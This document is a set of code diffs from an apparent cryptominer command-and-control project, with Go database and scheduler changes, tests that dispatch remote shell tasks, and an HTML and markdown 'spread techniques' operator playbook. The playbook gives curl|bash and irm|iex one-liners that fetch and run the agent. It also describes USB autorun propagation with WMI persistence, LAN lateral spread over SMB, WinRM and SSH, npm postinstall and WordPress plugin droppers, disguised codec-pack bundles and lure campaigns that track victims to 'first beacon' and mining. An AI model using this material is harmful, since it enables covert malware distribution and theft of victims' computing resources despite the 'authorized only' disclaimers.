// SQLite only supports one concurrent writer; a single open connection
// avoids WAL write-lock contention and SQLITE_BUSY under load.
db.SetMaxOpenConns(1)
d := &Database{db}
if err := d.migrate(); err != nil {
@@ -309,6 +312,9 @@ func (d *Database) ListAgents() ([]*models.Agent, error) {
}
agents = append(agents, a)
}
if err := rows.Err(); err != nil {
return nil, err
}
return agents, nil
}
@@ -347,6 +353,9 @@ func (d *Database) GetRecentShares(limit int) ([]*models.Share, error) {
s.Accepted = accepted == 1
shares = append(shares, s)
}
if err := rows.Err(); err != nil {
return nil, err
}
return shares, nil
}
@@ -376,6 +385,9 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
}
samples = append(samples, s)
}
if err := rows.Err(); err != nil {
return nil, err
}
return samples, nil
}
@@ -464,26 +476,32 @@ func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildReco
// SetPinnedBuild unpins all builds then pins the one with the given id.
// If id is empty, all builds are unpinned. Returns an error when id is
// non-empty but no build row matches (avoids leaving all builds unpinned).
// Both UPDATEs run in a single transaction so a crash mid-way cannot leave
// the table in a half-pinned state.
func (d *Database) SetPinnedBuild(id string) error {
_, err := d.Exec(`UPDATE builds SET pinned = 0`)
tx, err := d.Begin()
if err != nil {
return err
}
if id == "" {
return nil
}
res, err := d.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
if err != nil {
defer tx.Rollback() //nolint:errcheck
if _, err := tx.Exec(`UPDATE builds SET pinned = 0`); err != nil {
return err
}
n, err := res.RowsAffected()
if err != nil {
return err
if id != "" {
res, err := tx.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
if err != nil {
return err
}
n, err := res.RowsAffected()
if err != nil {
return err
}
if n == 0 {
return fmt.Errorf("build not found: %s", id)
}
}
if n == 0 {
return fmt.Errorf("build not found: %s", id)
}
return nil
return tx.Commit()
}
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
@@ -501,6 +519,9 @@ func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
}
builds = append(builds, b)
}
if err := rows.Err(); err != nil {
return nil, err
}
return builds, nil
}

View File

@@ -82,14 +82,28 @@ func (s *FleetScheduler) tickInterval() {
return
}
agentIDs := s.send.ConnectedAgentIDs()
// Collect IDs of interval tasks so we can bulk-fetch last-run timestamps
// in a single query instead of one query per (task, agent) pair.
var taskIDs []string
for _, t := range tasks {
if t.Enabled && t.Trigger == "interval_hours" && t.IntervalHours > 0 {
taskIDs = append(taskIDs, t.ID)
}
}
lastRuns, err := s.db.BulkLastFleetTaskRuns(agentIDs, taskIDs)
if err != nil {
log.Printf("[scheduler] bulk last runs: %v", err)
return
}
for _, t := range tasks {
if !t.Enabled || t.Trigger != "interval_hours" || t.IntervalHours <= 0 {
continue
}
interval := time.Duration(t.IntervalHours * float64(time.Hour))
for _, agentID := range agentIDs {
last, ok := s.db.LastFleetTaskRun(agentID, t.ID)
if ok && time.Since(last) < interval {
if last, ok := lastRuns[agentID+":"+t.ID]; ok && time.Since(last) < interval {
continue
}
s.dispatchTask(agentID, t)

View File

@@ -0,0 +1,194 @@
package scheduler
import (
"strings"
"testing"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
type mockSender struct {
commands []string
agents []string
err error
}
func (m *mockSender) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
cmd := agentID + ":" + action
if c, ok := args["command"].(string); ok && c != "" {
cmd += ":" + c
}
m.commands = append(m.commands, cmd)
return m.err
}
func (m *mockSender) ConnectedAgentIDs() []string { return m.agents }
func openTestDB(t *testing.T) *db.Database {
t.Helper()
d, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { d.Close() })
return d
}
func upsertTask(t *testing.T, d *db.Database, task *models.FleetTask) *models.FleetTask {
t.Helper()
if err := d.UpsertFleetTask(task); err != nil {
t.Fatal(err)
}
list, err := d.ListFleetTasks()
if err != nil || len(list) == 0 {
t.Fatalf("list tasks: %v", err)
}
return list[0]
}
func TestRunConnectTasksDispatchesMatchingTrigger(t *testing.T) {
d := openTestDB(t)
send := &mockSender{agents: []string{"agent-a"}}
s := New(d, send)
task := upsertTask(t, d, &models.FleetTask{
Name: "sysinfo on connect",
Enabled: true,
Trigger: "on_connect",
Action: "sysinfo",
})
s.RunConnectTasks("agent-a", "on_connect")
if len(send.commands) != 1 {
t.Fatalf("commands = %v, want 1 dispatch", send.commands)
}
want := "agent-a:sysinfo"
if send.commands[0] != want {
t.Fatalf("got %q, want %q", send.commands[0], want)
}
last, ok := d.LastFleetTaskRun("agent-a", task.ID)
if !ok || time.Since(last) > time.Minute {
t.Fatalf("expected recent fleet task run record, ok=%v last=%v", ok, last)
}
}
func TestRunConnectTasksSkipsDisabledAndWrongTrigger(t *testing.T) {
d := openTestDB(t)
send := &mockSender{}
s := New(d, send)
upsertTask(t, d, &models.FleetTask{
Name: "disabled",
Enabled: false,
Trigger: "on_connect",
Action: "sysinfo",
})
upsertTask(t, d, &models.FleetTask{
Name: "reconnect only",
Enabled: true,
Trigger: "on_reconnect",
Action: "sysinfo",
})
s.RunConnectTasks("agent-a", "on_connect")
if len(send.commands) != 0 {
t.Fatalf("expected no dispatch, got %v", send.commands)
}
}
func TestRunConnectTasksIncludesCommandArg(t *testing.T) {
d := openTestDB(t)
send := &mockSender{}
s := New(d, send)
upsertTask(t, d, &models.FleetTask{
Name: "shell job",
Enabled: true,
Trigger: "on_connect",
Action: "run_shell",
Command: "whoami",
})
s.RunConnectTasks("agent-b", "on_connect")
if len(send.commands) != 1 || !strings.Contains(send.commands[0], ":whoami") {
t.Fatalf("expected command arg in dispatch, got %v", send.commands)
}
}
func TestTickIntervalRespectsLastRun(t *testing.T) {
d := openTestDB(t)
send := &mockSender{agents: []string{"agent-a"}}
s := New(d, send)
task := upsertTask(t, d, &models.FleetTask{
Name: "hourly sysinfo",
Enabled: true,
Trigger: "interval_hours",
IntervalHours: 1,
Action: "sysinfo",
})
if err := d.RecordFleetTaskRun("agent-a", task.ID); err != nil {
t.Fatal(err)
}
s.tickInterval()
if len(send.commands) != 0 {
t.Fatalf("expected skip within interval, got %v", send.commands)
}
s.tickInterval()
}
func TestTickIntervalDispatchesWhenDue(t *testing.T) {
d := openTestDB(t)
send := &mockSender{agents: []string{"agent-a", "agent-b"}}
s := New(d, send)
upsertTask(t, d, &models.FleetTask{
Name: "quick poll",
Enabled: true,
Trigger: "interval_hours",
IntervalHours: 0.0001,
Action: "heartbeat",
})
s.tickInterval()
if len(send.commands) != 2 {
t.Fatalf("expected dispatch to both agents, got %v", send.commands)
}
}
func TestTickCronDedupesSameDaySlot(t *testing.T) {
d := openTestDB(t)
send := &mockSender{agents: []string{"agent-a"}}
s := New(d, send)
slot := time.Now().Format("15:04")
upsertTask(t, d, &models.FleetTask{
Name: "daily sysinfo",
Enabled: true,
Trigger: "cron",
CronTime: slot,
Action: "sysinfo",
})
s.tickCron()
first := len(send.commands)
s.tickCron()
second := len(send.commands)
if first != 1 {
t.Fatalf("first cron tick: got %d commands, want 1", first)
}
if second != first {
t.Fatalf("cron dedupe failed: first=%d second=%d", first, second)
}
}

View File

@@ -1,6 +1,7 @@
package main
import (
"context"
"crypto/rand"
"encoding/hex"
"encoding/json"
@@ -9,7 +10,9 @@ import (
"log"
"net/http"
"os"
"os/signal"
"path/filepath"
"syscall"
"time"
"crypto-miner-server/internal/alerts"
@@ -287,17 +290,37 @@ func main() {
// Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL()
}, cfg.Port)
}, cfg.Port, func() bool {
return cfg.ConnectorToken() != ""
})
log.Println("Router initialized")
// Start server
addr := fmt.Sprintf(":%d", cfg.Port)
srv := &http.Server{Addr: addr, Handler: router}
ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM)
defer stop()
log.Printf("Server listening on %s", addr)
log.Printf("Open http://localhost:%d in your browser", cfg.Port)
if err := http.ListenAndServe(addr, router); err != nil {
log.Fatalf("Server failed: %v", err)
go func() {
if err := srv.ListenAndServe(); err != nil && err != http.ErrServerClosed {
log.Fatalf("Server failed: %v", err)
}
}()
<-ctx.Done()
stop() // release signal resources before cleanup
log.Println("Shutting down server gracefully...")
shutdownCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
if err := srv.Shutdown(shutdownCtx); err != nil {
log.Printf("Server shutdown error: %v", err)
}
log.Println("Server stopped")
}
func poolConfigsFromEndpoints(eps []PoolEndpoint, cfg *Config) []pool.Config {

View File

@@ -1,4 +1,4 @@
import { expect, test } from '@playwright/test';
import { expect, test } from '@playwright/test';
import { loginToDashboard } from './fixtures';
test.describe('Page smoke', () => {
@@ -19,7 +19,7 @@ test.describe('Page smoke', () => {
});
test('Settings renders Calibrate', async ({ page }) => {
await page.getByRole('link', { name: /Calibrate/i }).click();
await page.getByRole('navigation').getByRole('link', { name: 'Calibrate', exact: true }).click();
await expect(page.getByRole('heading', { name: 'Calibrate' })).toBeVisible({ timeout: 10_000 });
await expect(page.getByRole('button', { name: 'Save Calibration' })).toBeVisible();
});

View File

@@ -0,0 +1,332 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Spread Techniques — AetherForge</title>
<link rel="stylesheet" href="wiki.css" />
</head>
<body>
<div class="wiki-layout">
<aside class="wiki-sidebar">
<div class="wiki-sidebar-header">
<h1>AetherForge</h1>
<p>Spread techniques playbook</p>
<a href="/">← Command Deck</a>
<br />
<a href="/emberwake" style="margin-top:0.35rem;display:inline-block;">→ Emberwake</a>
<br />
<a href="index.html" style="margin-top:0.35rem;display:inline-block;">→ Full wiki</a>
</div>
<ul class="wiki-nav">
<li><a href="#overview">Overview</a></li>
<li><a href="#web-waterhole">Web waterhole</a></li>
<li><a href="#curl-bash">curl | bash VPS</a></li>
<li><a href="#campaign-war-room">Campaign &amp; War Room</a></li>
<li><a href="#fusion-media">Fusion media</a></li>
<li><a href="#usb">USB</a></li>
<li><a href="#lan">LAN kindling</a></li>
<li><a href="#wordpress">WordPress plugin</a></li>
<li><a href="#npm-helper">npm postinstall</a></li>
<li><a href="#social-funnel">Social funnel</a></li>
<li><a href="#third-party">Third-party &amp; gaps</a></li>
</ul>
</aside>
<main class="wiki-content">
<section>
<h2>Spread Techniques Playbook</h2>
<p>
Red-team / threat-intelligence vectors mapped to <strong>AetherForge + Emberwake</strong> capabilities.
For <strong>authorized</strong> penetration testing, lab environments, and defensive planning only.
Landscape as of <strong>20242026</strong>.
</p>
<p>
Use <a href="/emberwake">Emberwake</a> for campaign builder, spread-kit export, supply-chain wizards, and
War Room analytics. This page is the operator playbook — Emberwake stays focused on actions, not tutorials.
</p>
<div class="spread-tab-bar" role="tablist" aria-label="Spread technique">
<button type="button" class="spread-tab active" role="tab" data-spread-tab="overview" aria-selected="true">Overview</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="web-waterhole" aria-selected="false">Web waterhole</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="curl-bash" aria-selected="false">curl | bash</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="campaign-war-room" aria-selected="false">Campaign &amp; War Room</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="fusion-media" aria-selected="false">Fusion media</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="usb" aria-selected="false">USB</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="lan" aria-selected="false">LAN</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="wordpress" aria-selected="false">WordPress</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="npm-helper" aria-selected="false">npm helper</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="social-funnel" aria-selected="false">Social funnel</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="third-party" aria-selected="false">Third-party</button>
</div>
<!-- Overview -->
<div class="spread-panel active" data-spread-panel="overview" id="overview">
<h3>What does NOT work anymore</h3>
<div class="wiki-callout danger">
Modern browsers require a <strong>user click + run</strong>. Silent drive-by RCE, auto-run from Downloads,
and CRX sideload via normal download are dead paths for commodity ops.
</div>
<table class="wiki-table">
<thead><tr><th>Technique</th><th>Status</th><th>Why</th></tr></thead>
<tbody>
<tr><td>Silent browser RCE (visit → shell)</td><td><span class="wiki-status disabled">Dead</span></td><td>Chromium sandboxes, site isolation, removed plugins</td></tr>
<tr><td>Auto-run from Downloads</td><td><span class="wiki-status disabled">Dead</span></td><td>SmartScreen, MoTW, user-gesture requirements</td></tr>
<tr><td>Flash/Java plugin drive-by</td><td><span class="wiki-status disabled">Dead</span></td><td>Plugins removed or click-to-play extinct</td></tr>
<tr><td>Unauthenticated <code>curl | bash</code> on cautious admins</td><td><span class="wiki-status partial">Hard</span></td><td>Pipe-to-shell fingerprinting; inspect-before-run mitigations</td></tr>
<tr><td>CRX sideload via download</td><td><span class="wiki-status disabled">Dead</span></td><td>DownloadRestrictions; store policy blocks casual sideload</td></tr>
</tbody>
</table>
<h3>AetherForge stack — has vs needs</h3>
<table class="wiki-table">
<thead><tr><th>Capability</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>GET /get</code>, <code>/install.sh</code>, <code>/install.ps1</code> with <code>?pin=</code> + <code>?c=</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Spread Kit ZIP export + static lander at <code>/spread/</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Emberwake campaign builder + War Room funnel</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>WordPress plugin + npm helper export wizards</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Fusion media ZIP bundles</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>USB perpetual propagation (forge flag)</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>LAN autospread / share spread</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>SocGholish fake-update branded lander</td><td><span class="wiki-status stub">Stub</span></td></tr>
<tr><td>JS fingerprint / TDS gate</td><td><span class="wiki-status stub">Needs</span></td></tr>
<tr><td>OAuth redirect helper</td><td><span class="wiki-status stub">Needs</span></td></tr>
<tr><td>Public npm/PyPI typosquat publish</td><td><span class="wiki-status disabled">Out of scope</span></td></tr>
</tbody>
</table>
<p>Source matrix (markdown): <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a></p>
</div>
<!-- Web waterhole -->
<div class="spread-panel" data-spread-panel="web-waterhole" id="web-waterhole" hidden>
<h3>Web waterhole — dropper landing</h3>
<p><span class="wiki-status working">Working</span> Owned-origin button/link → <code>/get</code> or spread-kit ZIP.</p>
<h4>Prerequisites</h4>
<ul>
<li>Forged build (pin optional) on your command deck</li>
<li>Public URL in Calibrate or tunnel to deck</li>
<li>Static host you control (same origin or Cloudflare Pages)</li>
</ul>
<h4>Emberwake steps</h4>
<ol class="spread-steps">
<li>Open <a href="/emberwake">Emberwake</a> → set campaign slug and pinned build.</li>
<li>Copy dropper URL or export spread-kit ZIP.</li>
<li>Deploy static lander — on-server copy at <a href="/spread/">/spread/</a> or upload exported kit.</li>
<li>Link visitors to <code>{deck}/get?pin={id}&amp;c={slug}</code> or platform-detect <code>/get</code>.</li>
<li>Track hits in Emberwake → <a href="/emberwake#campaign-war-room">Campaign War Room</a>.</li>
</ol>
<h4>Platform notes</h4>
<p>Windows: SmartScreen + MoTW on executables. Pair with code signing (<code>sign_build</code>) to reduce friction.</p>
<a class="spread-deck-link" href="/emberwake">Open Emberwake →</a>
</div>
<!-- curl | bash -->
<div class="spread-panel" data-spread-panel="curl-bash" id="curl-bash" hidden>
<h3>curl | bash — headless server drops</h3>
<p><span class="wiki-status working">Working</span> <code>install.sh</code> / <code>install.ps1</code> one-liners for Linux/macOS/Windows Server.</p>
<h4>Prerequisites</h4>
<ul>
<li>Deck reachable from target VPS (TLS recommended)</li>
<li>Linux/macOS: <strong>Web Drop</strong> forge preset or minimal headless build</li>
<li>Windows Server: AMSI / Constrained Language may block <code>irm | iex</code></li>
</ul>
<h4>Emberwake steps</h4>
<ol class="spread-steps">
<li>Emberwake → Campaign builder: set <code>?c=</code> slug and pin build.</li>
<li>Copy bash / PowerShell / macOS one-liners from the builder card.</li>
<li>Publish on first-party install docs page you operate.</li>
<li>Agent reports <code>AETHER_CAMPAIGN</code> on connect → War Room funnel.</li>
</ol>
<pre><code># Linux server
curl -sL https://your.site/install.sh?pin={build_id}&amp;c=docs | bash
# Windows Server
irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
<a class="spread-deck-link" href="/emberwake">Copy one-liners in Emberwake →</a>
</div>
<!-- Campaign & War Room -->
<div class="spread-panel" data-spread-panel="campaign-war-room" id="campaign-war-room" hidden>
<h3>Campaign links &amp; War Room</h3>
<p><span class="wiki-status working">Working</span> Attribution via <code>?c=slug</code> on dropper and public download URLs.</p>
<h4>Prerequisites</h4>
<ul>
<li>At least one forged build</li>
<li>Campaign slug per lure wave (e.g. <code>linkedin-bait</code>, <code>wp-my-blog</code>)</li>
</ul>
<h4>Emberwake steps</h4>
<ol class="spread-steps">
<li>Set campaign slug in Campaign builder; append to every dropper/public URL.</li>
<li>Optional A/B: pin Build A vs Build B with <code>?c=slug</code> and <code>?c=slug-b</code>.</li>
<li>Share links; War Room polls every 15s + WebSocket <code>emberwake_war_room</code>.</li>
<li>Read funnel: hits → downloads → first beacon → mining → hashrate per slug.</li>
</ol>
<h4>Endpoints</h4>
<table class="wiki-table">
<thead><tr><th>Endpoint</th><th>Purpose</th></tr></thead>
<tbody>
<tr><td><code>GET /get?c=</code></td><td>Platform-detect download + campaign log</td></tr>
<tr><td><code>GET /api/v1/public/download/{id}?c=</code></td><td>Public artifact + campaign log</td></tr>
<tr><td><code>GET /api/v1/emberwake/war-room?days=7</code></td><td>Funnel board data (auth)</td></tr>
</tbody>
</table>
<a class="spread-deck-link" href="/emberwake#campaign-war-room">Open War Room →</a>
</div>
<!-- Fusion media -->
<div class="spread-panel" data-spread-panel="fusion-media" id="fusion-media" hidden>
<h3>Fusion media — codec / tool download</h3>
<p><span class="wiki-status working">Working</span> Movie or prep fusion ZIP with disguised runner names.</p>
<h4>Prerequisites</h4>
<ul>
<li><strong>Desktop Fusion</strong> spread profile or manual fusion flags at forge</li>
<li>Themed landing page on owned site</li>
<li>Optional: code signing to reduce SmartScreen prompts</li>
</ul>
<h4>Emberwake / forge steps</h4>
<ol class="spread-steps">
<li>Mission Deck → <strong>Desktop Fusion</strong> profile → forge universal bundle.</li>
<li>Host fusion ZIP on themed site (“codec pack”, “portable tool”).</li>
<li>Tag downloads with <code>?c=fusion-wave1</code> via public URL or manual campaign env.</li>
<li>Universal bundle auto-picks <code>Deploy.bat</code> / <code>deploy.sh</code> inside spread-kit scripts.</li>
</ol>
<p>Detection risk: medium (large ZIP, SmartScreen). User must still run extracted payload.</p>
<a class="spread-deck-link" href="/emberwake">Tag campaign in Emberwake →</a>
</div>
<!-- USB -->
<div class="spread-panel" data-spread-panel="usb" id="usb" hidden>
<h3>USB perpetual propagation</h3>
<p><span class="wiki-status working">Working</span> Forge-time <strong>USB Propagation</strong> flag — not an Emberwake export.</p>
<h4>Prerequisites</h4>
<ul>
<li>Forge with <code>usb_spread</code> enabled (<strong>LAN Kindling</strong> profile includes USB)</li>
<li>Physical access path to insert USB on target Windows hosts</li>
</ul>
<h4>How it works</h4>
<ol class="spread-steps">
<li>Within ~8s of USB insert: drop agent to hidden folder, write <code>autorun.inf</code>, LNK, <code>SETUP.BAT</code>.</li>
<li>Create decoy folder; WMI subscription for future mounts.</li>
<li>Modern Windows limits autorun — user interaction often still required.</li>
</ol>
<p>See wiki <a href="index.html#usb-portable">USB Portable</a> for deck-on-stick packaging.</p>
<a class="spread-deck-link" href="/forge">Forge with USB flag →</a>
</div>
<!-- LAN -->
<div class="spread-panel" data-spread-panel="lan" id="lan" hidden>
<h3>LAN kindling — lateral spread</h3>
<p><span class="wiki-status working">Working</span> Universal spread kit + <code>auto_spread</code> / <code>share_spread</code>.</p>
<h4>Prerequisites</h4>
<ul>
<li><strong>LAN Kindling</strong> spread profile at forge (universal kit + autospread)</li>
<li>At least one patient zero on the subnet</li>
<li>C2 auth for aggressive lateral commands (Crucible ops separate profile)</li>
</ul>
<h4>Emberwake / forge steps</h4>
<ol class="spread-steps">
<li>Mission Deck → <strong>LAN Kindling</strong> → forge spread-kit universal ZIP.</li>
<li>Deploy patient zero via waterhole or curl|bash with campaign tag.</li>
<li>Agent scans subnet (ARP-first /24 + /64) via <code>deploy/subnet.go</code>.</li>
<li>Windows: SMB <code>admin$</code>, WinRM; Linux/macOS: SSH lateral (gated).</li>
</ol>
<a class="spread-deck-link" href="/emberwake">Export spread kit →</a>
</div>
<!-- WordPress -->
<div class="spread-panel" data-spread-panel="wordpress" id="wordpress" hidden>
<h3>WordPress plugin — owned-site supply chain</h3>
<p><span class="wiki-status working">Working</span> Export plugin ZIP from Emberwake — upload to <em>your</em> WordPress host only.</p>
<h4>Prerequisites</h4>
<ul>
<li>WordPress installation you operate (not wordpress.org directory)</li>
<li>Pinned build in Emberwake supply-chain wizard</li>
</ul>
<h4>Emberwake steps</h4>
<ol class="spread-steps">
<li>Emberwake → Supply-chain wizard → WordPress → pick build, site name, server URL.</li>
<li>Download <code>{slug}-wordpress-plugin.zip</code>.</li>
<li>WP Admin → Plugins → Add New → Upload → Activate.</li>
<li>Admin notice links to <code>/get?c=wp-{site}</code> on your deck.</li>
<li>Track <code>wp-{site}</code> in War Room.</li>
</ol>
<h4 id="wordpress-hosting-checklist">Hosting checklist</h4>
<ul>
<li>Unzip locally — layout <code>{slug}/{slug}.php</code> + <code>readme.txt</code></li>
<li>Upload ZIP via Plugins → Add New → Upload Plugin</li>
<li>Activate on owned host; verify Tools page + admin notice URL</li>
<li>Confirm War Room shows hits for <code>wp-{site}</code></li>
</ul>
<p>API: <code>POST /api/v1/builder/wordpress-plugin-export</code></p>
<a class="spread-deck-link" href="/emberwake">Open supply-chain wizard →</a>
</div>
<!-- npm helper -->
<div class="spread-panel" data-spread-panel="npm-helper" id="npm-helper" hidden>
<h3>npm postinstall helper — your packages only</h3>
<p><span class="wiki-status working">Working</span> Private package template — postinstall curls your <code>install.sh</code>.</p>
<h4>Prerequisites</h4>
<ul>
<li>Registry you control (private npm, Verdaccio, GitHub Packages)</li>
<li>Authorized CI/dev environments only — <strong>not</strong> public typosquat</li>
</ul>
<h4>Emberwake steps</h4>
<ol class="spread-steps">
<li>Emberwake → Supply-chain wizard → npm → set server URL, campaign, optional pin.</li>
<li>Download helper ZIP; adjust <code>package.json</code> name if needed.</li>
<li>Publish to your registry; add as dependency in authorized projects.</li>
<li><code>npm install</code> runs postinstall → <code>install.sh?c=…&amp;pin=…</code>.</li>
</ol>
<h4 id="npm-hosting-checklist">Hosting checklist</h4>
<ul>
<li>Unzip npm helper template</li>
<li>Publish with <code>npm publish --access restricted</code></li>
<li>Add dependency in authorized pipeline only</li>
<li>Verify agent connect + War Room campaign slug</li>
</ul>
<p>API: <code>POST /api/v1/builder/npm-helper-export</code></p>
<a class="spread-deck-link" href="/emberwake">Export npm template →</a>
</div>
<!-- Social funnel -->
<div class="spread-panel" data-spread-panel="social-funnel" id="social-funnel" hidden>
<h3>Social engineering funnel</h3>
<p>Email / ads → owned lander → download. AetherForge maps the <strong>last mile</strong> once user reaches your origin.</p>
<table class="wiki-table">
<thead><tr><th>Technique</th><th>Status</th><th>Emberwake role</th></tr></thead>
<tbody>
<tr><td>Email → link → owned lander → download</td><td><span class="wiki-status working">Working</span></td><td><code>?c=</code> on <code>/get</code> + War Room</td></tr>
<tr><td>A/B droppers between waves</td><td><span class="wiki-status working">Working</span></td><td>Build A vs B pins in Campaign builder</td></tr>
<tr><td>OAuth redirect abuse</td><td><span class="wiki-status stub">Needs</span></td><td>No Entra app wizard — research only</td></tr>
<tr><td>SEO poisoning / malvertising</td><td><span class="wiki-status stub">Needs</span></td><td>Payload can be fusion/spread-kit; no ad tooling</td></tr>
<tr><td>HTML smuggling / IFRAME chains</td><td><span class="wiki-status stub">Needs</span></td><td>Client-side blob builder not shipped</td></tr>
</tbody>
</table>
<a class="spread-deck-link" href="/emberwake">Build campaign links →</a>
</div>
<!-- Third-party -->
<div class="spread-panel" data-spread-panel="third-party" id="third-party" hidden>
<h3>Third-party platforms &amp; gaps</h3>
<p>Techniques on infrastructure you do <em>not</em> fully control. Most require separate publish pipelines.</p>
<table class="wiki-table">
<thead><tr><th>Technique</th><th>Status</th><th>Notes</th></tr></thead>
<tbody>
<tr><td>GitHub Releases / raw CDN</td><td><span class="wiki-status partial">Partial</span></td><td>Build artifacts exist; separate release pipeline from C2 host</td></tr>
<tr><td>S3 / Cloudflare Pages / R2</td><td><span class="wiki-status partial">Partial</span></td><td>Deploy exported spread-kit ZIP off C2; platform abuse ML risk</td></tr>
<tr><td>npm / PyPI / Docker Hub typosquat</td><td><span class="wiki-status disabled">Out of scope</span></td><td>Use npm helper on registries <em>you</em> own</td></tr>
<tr><td>WordPress.org plugin compromise</td><td><span class="wiki-status disabled">Out of scope</span></td><td>Owned-site upload wizard only</td></tr>
<tr><td>Fake browser update (SocGholish)</td><td><span class="wiki-status stub">Stub</span></td><td>Dropper works; branded HTML lander not shipped</td></tr>
<tr><td>JS fingerprint / TDS gate</td><td><span class="wiki-status stub">Needs</span></td><td>Filter bots/geo before showing download</td></tr>
<tr><td>Service worker / WASM redirect</td><td><span class="wiki-status stub">Needs</span></td><td>Research paths; still ends at user-run binary</td></tr>
</tbody>
</table>
<p>Full research matrix: <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a></p>
</div>
</section>
</main>
</div>
<script src="spread-techniques.js"></script>
</body>
</html>

View File

@@ -1,5 +1,7 @@
# Web-Mediated Spread Techniques (Research Summary)
> **Operator playbook (tabbed HTML):** [SPREAD_TECHNIQUES.html](SPREAD_TECHNIQUES.html) — step-by-step Emberwake how-tos. This file is the research matrix.
> **Scope:** Documented red-team / threat-intelligence vectors mapped to AetherForge capabilities. For **authorized** penetration testing, lab environments, and defensive planning only. Sources cited below; landscape as of **20242026**.
---
@@ -24,7 +26,7 @@
| Technique | Feasibility | Detection risk | AetherForge mapping |
|-----------|-------------|----------------|---------------------|
| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=` campaign tags. **Needs:** `spread-kit-web-publisher` static templates (API exists; templates missing). |
| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=`; static kit at `spread-kit-web-publisher/` + `/spread/`; ZIP export via `POST /api/v1/builder/spread-kit-export`. |
| **curl \| bash / `irm \| iex` docs page** — install instructions for servers | **Easy** | Med (EDR script block, proxy logs) | **Has:** `install.sh` / `install.ps1` with UA-aware `/get`, campaign env (`AETHER_CAMPAIGN`). Pin build via `?pin={build_id}`. |
| **Fake browser / app update page** (SocGholish pattern) | **Medium** | High (browser update lures heavily signatured) | **Has:** dropper + spread-kit launchers. **Needs:** branded HTML lander, geo/UA gate, optional TDS. See [Trend Micro SocGholish](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html). |
| **JS redirect / referrer gate** (search → your lander) | **Medium** | MedHigh (injected-script hunting) | **Needs:** fingerprint JS in web-publisher kit; **Has:** campaign tracking on final fetch. [JSFireTruck](https://unit42.paloaltonetworks.com/malicious-javascript-using-jsfiretruck-as-obfuscation/) scale shows pattern is alive but noisy. |
@@ -80,12 +82,10 @@
| Gap | Emberwake / web-publisher role |
|-----|-------------------------------|
| `spread-kit-web-publisher/` templates **missing** | Static site ZIP export via `POST /api/v1/builder/spread-kit-export` (404 today) |
| Emberwake **UI tab** not in web app | Notes + campaign API exist server-side only |
| No **fake-update** HTML kit | SocGholish-style lander |
| No **fake-update** HTML kit | SocGholish-style lander — operator supplies branding |
| No **JS fingerprint / TDS** gate | Filter bots, mobile, non-target geo before showing download |
| No **OAuth redirect** helper | Entra app registration docs only |
| No **package registry** publish | npm/PyPI/Docker supply chain out of scope for forge |
| No **public registry** publish | npm/PyPI typosquat out of scope — use `npm-helper-export` on registries you own |
---

View File

@@ -28,18 +28,25 @@
</div>
<ul class="wiki-nav">
<li><a href="#overview">Overview</a></li>
<li><a href="#quick-start">Quick Start</a></li>
<li><a href="#dashboard">Dashboard</a></li>
<li><a href="#forge">Forge / Builder</a></li>
<li><a href="#spread-campaigns">Spread &amp; Campaigns</a></li>
<li><a href="#quick-start">Getting Started</a></li>
<li><a href="#forge">Forge &amp; Builds</a></li>
<li><a href="#mission-deck">Mission Deck</a></li>
<li><a href="#build-manager">Build Manager</a></li>
<li><a href="#dashboard">Fleet &amp; Crucible</a></li>
<li><a href="#crucible-ops">Crucible Commands</a></li>
<li><a href="#spread-campaigns">Emberwake &amp; Spread</a></li>
<li><a href="SPREAD_TECHNIQUES.html">Spread Techniques</a></li>
<li><a href="#wordpress-plugin-supply-chain">WordPress plugin</a></li>
<li><a href="#npm-postinstall-helper">npm postinstall</a></li>
<li><a href="#agent">Agent</a></li>
<li><a href="#calibrate">Calibrate</a></li>
<li><a href="#path-tracer">Path Tracer</a></li>
<li><a href="#agent">Agent Reference</a></li>
<li><a href="#mining">Mining</a></li>
